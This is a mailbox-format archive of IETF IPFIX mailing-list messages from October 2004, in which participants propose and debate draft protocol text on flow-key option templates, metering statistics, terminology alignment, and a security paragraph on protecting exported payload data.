Subject: [ipfix-protocol] info decurity
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

I would like to propose that the following text be added
to the security section of the IPFIX protocol draft

- Stewart

When an information element containing end-user
payload information is exported it SHOULD be
transmitted to the Collecting Process using
a means that secures it's contents against
eavesdropping. Suitable mechanisms include
the use of either a direct point-to-point
connection or the use of an encryption
mechanism.

It is the responsibility of the Collecting
Process to provide a satisfactory degree
of securtity for this collected data, including,
if necessary, anonymisation of any reported data.




--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Wed Oct 20 07:33:46 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23764
	for <ipfix-archive@lists.ietf.org>; Wed, 20 Oct 2004 07:33:46 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CKEMC-0006ZK-00
	for ipfix-list@mil.doit.wisc.edu; Wed, 20 Oct 2004 06:10:16 -0500
Received: from odd-brew.cisco.com ([144.254.15.119] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CKEKe-0006Qg-00
	for ipfix-protocol@net.doit.wisc.edu; Wed, 20 Oct 2004 06:08:40 -0500
Received: from [192.168.0.1] (ams-clip-vpn-dhcp4263.cisco.com [10.61.80.166])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.8.8) with ESMTP id i9KB8c119859;
	Wed, 20 Oct 2004 13:08:38 +0200 (CEST)
Message-ID: <41764736.8060607@cisco.com>
Date: Wed, 20 Oct 2004 13:08:38 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
CC: Benoit Claise <bclaise@cisco.com>
Subject: Re: [ipfix-protocol] how to distinguish key and non-key fields? proposal
References: <416D8AE6.5010404@cisco.com>
In-Reply-To: <416D8AE6.5010404@cisco.com>
Content-Type: multipart/alternative;
 boundary="------------040908030100000607070407"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

This is a multi-part message in MIME format.
--------------040908030100000607070407
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Dear all,

Here is the proposed text, based on the next section 8, as just proposed 
on the email alias.

    *8.3 The Flow Keys Option Template *

    *The Flow Keys Option Template specifies the flow keys used by the*
    *Metering Process for the Template ID definition.*
    *It contains the following Information Elements [IPFIX-INFO]:*

    * ipfixOption The value is FLOW_KEY*
    * keyList Bitmap with the positions of the flow keys*
    * in the template*
    * time The time at which the record was generated *
    **
    *The Scope Field specified in the Option Template Record is the
    Template ID *
    *with which the flow keys are associated.*

*

*Note that the ipfixOption, keyList, and time are not yet specified in [IPFIX-INFO]

Regards, Benoit.

> Dear all,
>
>> From RFC3917
>
>   "But in any case, a collecting process must be able to clearly 
> identify, for
>   each received flow record, which set of properties was used for
>   distinguishing this flow from other ones."
>
> Here is a proposal: send an option template record composed of 3 
> information elements
>   - scope = data template ID
>   - ipfixoption = FLOW-KEY (*)
>   - keyslist (**)
>
> (*) ipfixoption is defined in section 8 "Specific Reporting 
> Requirements" of draft-ietf-ipfix-protocol-05.txt. We would simply 
> need a new value.
> (**) a bitmap information element. That would a special information 
> element that would contain a "1" at the positions of the flow keys. If 
> flow keys are in position 3, 5, 6: it would be 00101100000000000. That 
> could even be a variable length information element, if needed.
> This feature should be inserted in the IPFIX protocol draft as a MAY, 
> as a new subsection of section 8 "Specific Reporting Requirements"
> If implemented, "The Template Record SHOULD be sent before the 
> associated Option Template Record, and before and Flow Data Records. 
> In case of unreliable transport protocol, the Template Record and 
> Option Template Record SHOULD be sent in the same Export Packet"
>
> We should also define ipfixoption and keyslist in [IPFIX-INFO].
>
> Any feedback?
>
> Regards, Benoit.
>
>
>
>
> -- 
> Help        mailto:majordomo@net.doit.wisc.edu and say "help" in 
> message body
> Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
> "unsubscribe ipfix" in message body
> Archive     http://ipfix.doit.wisc.edu/archive/



--------------040908030100000607070407
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
Dear all,<br>
<br>
Here is the proposed text, based on the next section 8, as just
proposed
on the email alias.<br>
<br>
<blockquote><font color="#ff0000"> <b>8.3 The Flow Keys Option
Template </b></font><br>
  <br>
  <font color="#ff0000"><b>The Flow Keys Option Template specifies the
flow keys used by the</b></font><br>
  <font color="#ff0000"><b>Metering Process for the Template ID
definition.</b></font><br>
  <font color="#ff0000"><b>It contains the following Information
Elements [IPFIX-INFO]:</b></font><br>
  <font color="#ff0000"></font><br>
  <font color="#ff0000"><b> ipfixOption The value is FLOW_KEY</b></font><br>
  <font color="#ff0000"><b> keyList Bitmap with the positions of the
flow keys</b></font><br>
  <font color="#ff0000"><b> in the template</b></font><br>
  <font color="#ff0000"><b> time The time at which the record was
generated </b></font><br>
  <b></b><br>
  <font color="#ff0000"><b>The Scope Field specified in the Option
Template Record is the Template ID </b></font><br>
  <font color="#ff0000"><b>with which the flow keys are associated.</b></font><br>
</blockquote>
<pre><font color="#ff0000"><b>

</b></font>Note that the ipfixOption, keyList, and time are not yet specified in [IPFIX-INFO]

Regards, Benoit.</pre>
<blockquote cite="mid416D8AE6.5010404@cisco.com" type="cite">Dear all,
  <br>
  <br>
  <blockquote type="cite">From RFC3917
    <br>
  </blockquote>
&nbsp; "But in any case, a collecting process must be able to clearly
identify, for
  <br>
&nbsp; each received flow record, which set of properties was used for
  <br>
&nbsp; distinguishing this flow from other ones."
  <br>
  <br>
Here is a proposal: send an option template record composed of 3
information elements
  <br>
&nbsp; - scope = data template ID
  <br>
&nbsp; - ipfixoption = FLOW-KEY (*)
  <br>
&nbsp; - keyslist (**)
  <br>
  <br>
(*) ipfixoption is defined in section 8 "Specific Reporting
Requirements" of draft-ietf-ipfix-protocol-05.txt. We would simply need
a new value. <br>
(**) a bitmap information element. That would a special information
element that would contain a "1" at the positions of the flow keys. If
flow keys are in position 3, 5, 6: it would be 00101100000000000. That
could even be a variable length information element, if needed. <br>
This feature should be inserted in the IPFIX protocol draft as a MAY,
as a new subsection of section 8 "Specific Reporting Requirements"
  <br>
If implemented, "The Template Record SHOULD be sent before the
associated Option Template Record, and before and Flow Data Records. In
case of unreliable transport protocol, the Template Record and Option
Template Record SHOULD be sent in the same Export Packet"
  <br>
  <br>
We should also define ipfixoption and keyslist in [IPFIX-INFO].
  <br>
  <br>
Any feedback?
  <br>
  <br>
Regards, Benoit.
  <br>
  <br>
  <br>
  <br>
  <br>
--
  <br>
Help&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a class="moz-txt-link-freetext" href="mailto:majordomo@net.doit.wisc.edu">mailto:majordomo@net.doit.wisc.edu</a> and say "help" in
message body
  <br>
Unsubscribe <a class="moz-txt-link-freetext" href="mailto:majordomo@net.doit.wisc.edu">mailto:majordomo@net.doit.wisc.edu</a> and say
  <br>
"unsubscribe ipfix" in message body
  <br>
Archive&nbsp;&nbsp;&nbsp;&nbsp; <a class="moz-txt-link-freetext" href="http://ipfix.doit.wisc.edu/archive/">http://ipfix.doit.wisc.edu/archive/</a>
  <br>
</blockquote>
<br>
</body>
</html>

--------------040908030100000607070407--

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Wed Oct 20 07:33:51 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23783
	for <ipfix-archive@lists.ietf.org>; Wed, 20 Oct 2004 07:33:51 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CKEKL-0006Oq-00
	for ipfix-list@mil.doit.wisc.edu; Wed, 20 Oct 2004 06:08:21 -0500
Received: from odd-brew.cisco.com ([144.254.15.119] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CKEKC-0006Nq-00
	for ipfix-protocol@net.doit.wisc.edu; Wed, 20 Oct 2004 06:08:12 -0500
Received: from [192.168.0.1] (ams-clip-vpn-dhcp4263.cisco.com [10.61.80.166])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.8.8) with ESMTP id i9KB6P118123
	for <ipfix-protocol@net.doit.wisc.edu>; Wed, 20 Oct 2004 13:06:25 +0200 (CEST)
Message-ID: <417646B1.7070501@cisco.com>
Date: Wed, 20 Oct 2004 13:06:25 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
Subject: [ipfix-protocol] PROTO-21: metering process statistics option template
Content-Type: multipart/alternative;
 boundary="------------000001050109020505080301"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

This is a multi-part message in MIME format.
--------------000001050109020505080301
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Dear all,

The IPFIX protocol version 5 lists this remaining issue.
http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt

 PROTO-21: Do we need to define some mandatory content of the 
   metering process statistics option template? 
       - Maurizio suggested text on the mailing list 
       - proposal after IETF60: look at what is required in [IPFIX-
   REQ], and come up with a minimum set of data types. 
   Note: the ipfixOption is not yet defined in the [IPFIX-INFO]; needed 
   for the metering process statistics

The text in section "8.1 The Metering Process Statistics Option Template" is not complete:


 *8.1      The Metering Process Statistics Option Template 
 
   The Metering Process Statistics Option Template defines the Metering 
   Process Statistics with the export of the following Information 
   Elements [IPFIX-INFO]: 
       ipfixOption             The value MUST be METER_STATS 
       observationDomain       Source ID 
       lostFlows               Flows not exported due to resource   
                               starvation 
       lostFlowsPackets        Packets in the lost Flows 
       lostFlowsBytes          Bytes in the lost Flows  
       droppedPacketCount      Packets dropped by Metering Process  
                           at the Observation Point 
   droppedByteCount        Bytes dropped by Metering Process at the  
                                Observation Domain 
        time;                   When this record was generated 
 
   The minimum set of Information Element in the Metering Process 
   Statistics Option Template is: ipfixOption, observationDomain, 
   lostFlows, time *

<>**I think this version comes from discussion between Maurizio and I, 
but I'm not too sure anymore, as this is pretty old. Maurizio proposed 
some new text at http://ipfix.doit.wisc.edu/archive/2407.html

We should discuss whether we need some mandatory information element 
exported. If yes, which one? I reviewed the IPFIX requirement draft 
http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt, and 
the applicable sections are:

    5.1. Reliability

    The metering process must either be reliable or the absence of
    reliability must be known and indicated. The metering process is
    reliable if each packet passing the observation point is metered
    according to the configuration of the metering process. If, e.g. due
    to some overload, not all passing packets can be included into the
    metering process, then the metering process must be able to detect
    this failure and to report it.

    6.5. Regular Reporting Interval

    The exporting process should be capable of reporting measured traffic
    data regularly according to a given interval length.

    6.3.2 -> discusses also the data transfer reliability: somehow related.

A couple of points to Maurizio's proposal, that leads to the simplified proposal below:
- I don't think we need to export the Observation Domain ID, as the scope field will determine whether the scope is the interface, the Observation Domain ID, etc...
- There are 2 different requirements in RFC3917, so we should have 2 different options template records
- I think we should remove the MUST, SHOULD, MAY requirement in the flow expiration section because the requirements imposed constraints on the metering process, and we are standardizing the IP Flow Information eXport.
  As a consequence, we should not put MUST, SHOULD, MAY requirements on the Metering Process in order to export those Option Templates.
- If you have a metering process resource starvation how can you know how many flows have been lost? It is impossible to determine how many packets are
in that flow because you can not keep flow information. All you can do is keep the count of how many packets and bytes that did not fit into the
flow table.


Here is the text I propose.

* 8.     Specific Reporting Requirements 
    
   Some specific Options Templates and Options Templates Records are 
   necessary to provide extra information about the Flow Records and 
   about the Metering Process.   
    
   The ipfixOption Field [IPFIX-INFO], always included in these 
   specific Options Templates, defines the type of information sent in 
   the Option Template / Option Template Record pair.  For example, if 
   the ipfixOption [IPFIX-INFO] value is METER_STATS, then the Option 
   Template will specify information about the Metering Process 
   statistics. 

   The Option Template and Option Template Records defined in these sub-sections 
   are not mandatory to implement as they impose some constraints about 
   the Metering Process implementation: this document specifies the protocol
   to export the records, not the Metering Process implementation.
   However, if the specific Option Templates are implemented, they should 
   implemented as specified in these sub-sections.  In any case, if the 
   ipfixOption Information Element is present, it MUST always be the first 
   Information Element in the Option Template so that the Collector
   can quickly determine which specific Option Template Record is received.
     
   The minimum set of Information Elements is always specified in these 
   Specific IPFIX Options Templates.  Nevertheless, extra Information 
   Elements may be used in these specific Options Templates.    **

8.1      The Metering Process Statistics Option Template 
 
The Metering Process Statistics Option Template specifies the Metering 
Process Statistics. It contains the following Information 
Elements [IPFIX-INFO] 
     ipfixOption             The value is METERING_STATS 
     exportedOctetCount      The number of all octets reported 
                             by the Exporting Process to the
                             Collecting Process.
     exportedPacketCount     The number of all packets reported 
                             by the exporting process to the
                             Collecting Process.
**     exportedFlowCount       The number of all flows records 
                             reported by the Exporting Process
                             to the Collecting Process.** *
*     time                    The time at which the record was generated 
 
The Exporting Process should export the Metering Process Statistics Option 
Template Record on a regular basis or based on some export policy. 
This periodicity or export policy should be configurable. The **Metering 
Process Statistics Option Template could be extended with other Information 
Elements.***
*
* *8.2      The Exporter Reliability Statistics Option Template **

The Exporter Reliability Option Template specifies information 
about lack of reliability in the Metering and Exporting process.
**It contains the following Information Elements [IPFIX-INFO]:*
*
     ipfixOption             The value is RELIABILITY_STATS
**     droppedFUPacketCount    Packets dropped by Metering Process
**     droppedFUOctetCount     Bytes dropped by Metering Process** *
*     droppedFlows            Number of flow records lost due to resources 
                             starvation at Exporting Process
**     time                    The time at which the record was generated **
*
*The Exporting Process should export the Exporter Reliability Statistics Option 
Template Record on a regular basis or based on some export policy. This periodicity or
export policy should be configurable. **The **Exporter Reliability Statistics **Option 
Template could be extended with other Information Elements.

*Note that the ipfixOption, time, droppedFUPacketCount, droppedFUByteCount, and droppedFlows are not yet specified in [IPFIX-INFO]

Regards, Benoit.
*
*




--------------000001050109020505080301
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
Dear all,<br>
<pre>The IPFIX protocol version 5 lists this remaining issue.
<a class="moz-txt-link-freetext"
 href="http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt">http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt</a>

&nbsp;PROTO-21: Do we need to define some mandatory content of the 
   metering process statistics option template? 
       - Maurizio suggested text on the mailing list 
       - proposal after IETF60: look at what is required in [IPFIX-
   REQ], and come up with a minimum set of data types. 
   Note: the ipfixOption is not yet defined in the [IPFIX-INFO]; needed 
   for the metering process statistics

The text in section "8.1 The Metering Process Statistics Option Template" is not complete:

</pre>
<blockquote>
  <pre>&nbsp;<b>8.1      The Metering Process Statistics Option Template 
 
   The Metering Process Statistics Option Template defines the Metering 
   Process Statistics with the export of the following Information 
   Elements [IPFIX-INFO]: 
       ipfixOption             The value MUST be METER_STATS 
       observationDomain       Source ID 
       lostFlows               Flows not exported due to resource   
                               starvation 
       lostFlowsPackets        Packets in the lost Flows 
       lostFlowsBytes          Bytes in the lost Flows  
       droppedPacketCount      Packets dropped by Metering Process  
                           at the Observation Point 
   droppedByteCount        Bytes dropped by Metering Process at the  
                                Observation Domain 
        time;                   When this record was generated 
 
   The minimum set of Information Element in the Metering Process 
   Statistics Option Template is: ipfixOption, observationDomain, 
   lostFlows, time </b></pre>
</blockquote>
<><b></b>I think this version comes from discussion between Maurizio
and I, but I'm not too sure anymore, as this is pretty old.
Maurizio proposed some new text at <a class="moz-txt-link-freetext"
 href="http://ipfix.doit.wisc.edu/archive/2407.html">http://ipfix.doit.wisc.edu/archive/2407.html</a>
<br>
<br>
We should discuss whether we need some mandatory information element
exported. If yes, which one?
I reviewed the IPFIX requirement draft <a class="moz-txt-link-freetext"
 href="http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt">http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt</a>,
and the applicable sections are:
</>
<blockquote>5.1. Reliability<br>
  <br>
The metering process must either be reliable or the absence of<br>
reliability must be known and indicated. The metering process is<br>
reliable if each packet passing the observation point is metered<br>
according to the configuration of the metering process. If, e.g. due<br>
to some overload, not all passing packets can be included into the<br>
metering process, then the metering process must be able to detect<br>
this failure and to report it.<br>
</blockquote>
<blockquote>6.5. Regular Reporting Interval<br>
  <br>
The exporting process should be capable of reporting measured traffic<br>
data regularly according to a given interval length.<br>
  <br>
6.3.2 -&gt; discusses also the data transfer reliability: somehow
related.<br>
</blockquote>
<pre>A couple of points to Maurizio's proposal, that leads to the simplified proposal below:
- I don't think we need to export the Observation Domain ID, as the scope field will determine whether the scope is the interface, the Observation Domain ID, etc...
- There are 2 different requirements in RFC3917, so we should have 2 different options template records
- I think we should remove the MUST, SHOULD, MAY requirement in the flow expiration section because the requirements imposed constraints on the metering process, and we are standardizing the IP Flow Information eXport.
  As a consequence, we should not put MUST, SHOULD, MAY requirements on the Metering Process in order to export those Option Templates.
- If you have a metering process resource starvation how can you know how many flows have been lost? It is impossible to determine how many packets are
in that flow because you can not keep flow information. All you can do is keep the count of how many packets and bytes that did not fit into the
flow table.


Here is the text I propose.

<font color="#ff0000"><b><font color="#000000"> 8.     Specific Reporting Requirements 
    
   Some specific Options Templates and Options Templates Records are 
   necessary to provide extra information about the Flow Records and 
   about the Metering Process.   
    
   The ipfixOption Field [IPFIX-INFO], always included in these 
   specific Options Templates, defines the type of information sent in 
   the Option Template / Option Template Record pair.  For example, if 
   the ipfixOption [IPFIX-INFO] value is METER_STATS, then the Option 
   Template will specify information about the Metering Process 
   statistics. 

<font color="#ff0000">   <font color="#000000">The Option Template and Option Template Records defined in these sub-sections 
   are not mandatory to implement as they impose some constraints about 
   the Metering Process implementation: this document specifies the protocol
   to export the records, not the Metering Process implementation.
   However, if the specific Option Templates are implemented, they should 
   implemented as specified in these sub-sections.  In any case, if the 
   ipfixOption Information Element is present, it MUST always be the first </font></font>
   Information Element in the Option Template so that the Collector
  &nbsp;can quickly determine which specific Option Template Record is received.
     
   The minimum set of Information Elements is always specified in these 
   Specific IPFIX Options Templates.  Nevertheless, extra Information 
   Elements <font color="#000000">may </font>be used in these specific Options Templates.   &nbsp;</font></b><b>

<font color="#000000">8.1      The Metering Process Statistics Option Template 
 
The Metering Process Statistics Option Template specifies the Metering 
Process Statistics. It contains the following Information 
Elements [IPFIX-INFO] 
     ipfixOption             The value is METERING_STATS 
     exportedOctetCount      The number of all octets reported 
                             by the Exporting Process to the
                             Collecting Process.
     exportedPacketCount     The number of all packets reported 
                             by the exporting process to the
                            &nbsp;Collecting Process.</font>
</b><font color="#000000"><b>     exportedFlowCount       The number of all flows records 
                             reported by the Exporting Process
                            &nbsp;to the Collecting Process.</b><b> </b></font>
</font><font color="#000000"><b>     time                    The time at which the record was generated 
 
The Exporting Process should export the Metering Process Statistics Option 
Template Record on a regular basis or based on some export policy. 
This periodicity or export policy should be configurable. The </b></font><font
 color="#000000"><b>Metering 
Process Statistics Option Template could be extended with other Information 
Elements.</b></font><font color="#000000"><b><small><small><span
 class="BodyTextIndentChar"><span style="font-size: 12pt;"></span></span></small></small></b>
<b>
</b> <b>8.2      The Exporter Reliability Statistics Option Template </b><b>

The Exporter Reliability Option Template specifies information 
about lack of reliability in the Metering and Exporting process.
</b><b>It contains the following Information Elements [IPFIX-INFO]:</b>
<b>
     ipfixOption             The value is RELIABILITY_STATS
</b><b>     droppedFUPacketCount    Packets dropped by Metering Process
</b><b>     droppedFUOctetCount     Bytes dropped by Metering Process</b><b> </b></font>
<font color="#000000"><b>     droppedFlows            Number of flow records lost due to resources 
                             starvation at Exporting Process
</b><b>     time                    The time at which the record was generated </b><b>
</b></font>
<font color="#000000"><b>The Exporting Process should export the Exporter Reliability Statistics Option 
Template Record on a regular basis or based on some export policy. This periodicity or
export policy should be configurable. </b></font><font color="#000000"><b>The </b></font><font
 color="#000000"><b>Exporter Reliability Statistics </b></font><font
 color="#ff0000"><b><font color="#000000">Option 
Template could be extended with other Information Elements.</font>

</b></font>Note that the ipfixOption, time, droppedFUPacketCount, droppedFUByteCount, and droppedFlows are not yet specified in [IPFIX-INFO]

Regards, Benoit.
<b>
</b>



</pre>
</body>
</html>

--------------000001050109020505080301--

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Wed Oct 20 15:07:16 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12705
	for <ipfix-archive@lists.ietf.org>; Wed, 20 Oct 2004 15:07:16 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CKLWp-0006MS-00
	for ipfix-list@mil.doit.wisc.edu; Wed, 20 Oct 2004 13:49:43 -0500
Received: from odd-brew.cisco.com ([144.254.15.119] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CKLWl-0006Ll-00
	for ipfix-protocol@net.doit.wisc.edu; Wed, 20 Oct 2004 13:49:39 -0500
Received: from [192.168.0.1] (ams-clip-vpn-dhcp4263.cisco.com [10.61.80.166])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.8.8) with ESMTP id i9KIna106716
	for <ipfix-protocol@net.doit.wisc.edu>; Wed, 20 Oct 2004 20:49:36 +0200 (CEST)
Message-ID: <4176B340.1050709@cisco.com>
Date: Wed, 20 Oct 2004 20:49:36 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
Subject: [ipfix-protocol] PROTO-35: make sure the definitions match between [IPFIX-ARCH] and
 [IPFIX-PROTO]
Content-Type: multipart/alternative;
 boundary="------------030509080109030103070104"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

This is a multi-part message in MIME format.
--------------030509080109030103070104
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Dear all,

Regarding the issue PROTO-35 (make sure the definitions match between [IPFIX-ARCH] and [IPFIX-PROTO]), I made some minor edits to the IPFIX-PROTO draft terminology section to align to the IPFIX-ARCH draft terminology section.
There are however a couple of minor changes to be done to the IPFIX-ARCH terminology section

1. In the definition below, I would keep (for example the selected output interface)
Metering Process 
 
   The Metering Process generates Flow Records.  Input to the process 
   are packet headers observed at an Observation Point and packet 
   treatment at the Observation Point _(for example the selected output 
   interface). _
    
   The Metering Process consists of a set of functions that includes 
   packet header capturing, timestamping, sampling, classifying, and 
   maintaining Flow Records. 
    
   The maintenance of Flow Records may include creating new records, 
   updating existing ones, computing Flow statistics, deriving further 
   Flow properties, detecting Flow expiration, passing Flow Records to 
   the Exporting Process, and deleting Flow Records. 


2.
 [IPFIX-PROTO] specifies: 
Exporter 
    
   The device which hosts an Exporting Process is termed an Exporter. 


 [IPFIX-ARCH] specifies: 

   * Exporter

      A device which hosts one or more Exporting Processes is termed an
      Exporter.

The [IPFIX-PROTO] definition is the right one. As we can see from [IPFIX-ARCH] section 7, there is only exporting process per exporter.


3. [IPFIX-ARCH] specifies:

   * Control Information, Data Stream

      The information that needs to be exported from the IPFIX Device
      can be classified into the following categories:

      Control Information

         This includes the Flow definition, selection criteria for
         packets within the Flow sent by the Exporting Process, and any
         IPFIX protocol messages.  The Control Information carries all
         the information needed for the end-points to understand the
         IPFIX protocol, and specifically for the receiver (Collector)
         to understand and interpret the data sent by the sender
         (Exporter).

      Data Stream

         This includes Flow Records carrying the field values for the
         various observed Flows at each of the Observation Points.

      IPFIX Message

         An IPFIX Message is a message originating at the Exporting
         Process that carries the IPFIX records of this Exporting
         Process and whose destination is a Collecting Process.  An
         IPFIX Message is encapsulated within a transport layer header.

From the above, it seems that the IPFIX Message is part of the "Control Information, Data Stream" definition.
But it's not the case, so you should add an asterix in front of "IPFIX Message" and have the correct indentation

4. The "Control Information, Data Stream" terms are only defined in the IPFIX architecture draft terminology section.
The IPFIX architecture draft is the only IPFIX draft using those notions!
Do we see this as an issue? Should we try to avoid those terms?

Regards, Benoit.


--------------030509080109030103070104
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
<pre>Dear all,

Regarding the issue PROTO-35 (make sure the definitions match between [IPFIX-ARCH] and [IPFIX-PROTO]), I made some minor edits to the IPFIX-PROTO draft terminology section to align to the IPFIX-ARCH draft terminology section.
There are however a couple of minor changes to be done to the IPFIX-ARCH terminology section

1. In the definition below, I would keep (for example the selected output interface)
Metering Process 
 
   The Metering Process generates Flow Records.  Input to the process 
   are packet headers observed at an Observation Point and packet 
   treatment at the Observation Point <u>(for example the selected output 
   interface). </u>
    
   The Metering Process consists of a set of functions that includes 
   packet header capturing, timestamping, sampling, classifying, and 
   maintaining Flow Records. 
    
   The maintenance of Flow Records may include creating new records, 
   updating existing ones, computing Flow statistics, deriving further 
   Flow properties, detecting Flow expiration, passing Flow Records to 
   the Exporting Process, and deleting Flow Records. 


2.
 [IPFIX-PROTO] specifies: 
Exporter 
    
   The device which hosts an Exporting Process is termed an Exporter. 


 [IPFIX-ARCH] specifies: 

   * Exporter

      A device which hosts one or more Exporting Processes is termed an
      Exporter.

The [IPFIX-PROTO] definition is the right one. As we can see from [IPFIX-ARCH] section 7, there is only exporting process per exporter.


3. [IPFIX-ARCH] specifies:

   * Control Information, Data Stream

      The information that needs to be exported from the IPFIX Device
      can be classified into the following categories:

      Control Information

         This includes the Flow definition, selection criteria for
         packets within the Flow sent by the Exporting Process, and any
         IPFIX protocol messages.  The Control Information carries all
         the information needed for the end-points to understand the
         IPFIX protocol, and specifically for the receiver (Collector)
         to understand and interpret the data sent by the sender
         (Exporter).

      Data Stream

         This includes Flow Records carrying the field values for the
         various observed Flows at each of the Observation Points.

      IPFIX Message

         An IPFIX Message is a message originating at the Exporting
         Process that carries the IPFIX records of this Exporting
         Process and whose destination is a Collecting Process.  An
         IPFIX Message is encapsulated within a transport layer header.

From the above, it seems that the IPFIX Message is part of the "Control Information, Data Stream" definition.
But it's not the case, so you should add an asterix in front of "IPFIX Message" and have the correct indentation

4. The "Control Information, Data Stream" terms are only defined in the IPFIX architecture draft terminology section.
The IPFIX architecture draft is the only IPFIX draft using those notions!
Do we see this as an issue? Should we try to avoid those terms?

Regards, Benoit.
</pre>
</body>
</html>

--------------030509080109030103070104--

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Thu Oct 21 05:59:40 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA25064
	for <ipfix-archive@lists.ietf.org>; Thu, 21 Oct 2004 05:59:40 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CKZNj-0001ga-00
	for ipfix-list@mil.doit.wisc.edu; Thu, 21 Oct 2004 04:37:15 -0500
Received: from odd-brew.cisco.com ([144.254.15.119] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CKZNa-0001fU-00
	for ipfix-arch@net.doit.wisc.edu; Thu, 21 Oct 2004 04:37:07 -0500
Received: from [192.168.0.1] (ams-clip-vpn-dhcp4180.cisco.com [10.61.80.83])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.8.8) with ESMTP id i9L9b5103145
	for <ipfix-arch@net.doit.wisc.edu>; Thu, 21 Oct 2004 11:37:05 +0200 (CEST)
Message-ID: <4177833E.7030901@cisco.com>
Date: Thu, 21 Oct 2004 11:37:02 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-arch@net.doit.wisc.edu
Subject: [ipfix-arch] Normative versus Informative references
